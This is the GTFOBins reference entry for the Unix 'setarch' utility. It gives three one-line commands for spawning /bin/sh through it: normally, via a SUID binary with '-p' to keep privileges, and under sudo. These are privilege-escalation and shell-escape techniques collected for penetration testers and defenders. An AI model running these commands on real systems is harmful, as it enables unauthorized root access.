GTFOBins.github.io/_gtfobins/setarch.md

11 lines
257 B
Markdown

---
description: The `uname -m` command can be used in place of `arch` to obtain the architecture.
functions:
shell:
- code: setarch $(arch) /bin/sh
suid:
- code: ./setarch $(arch) /bin/sh -p
sudo:
- code: sudo setarch $(arch) /bin/sh
---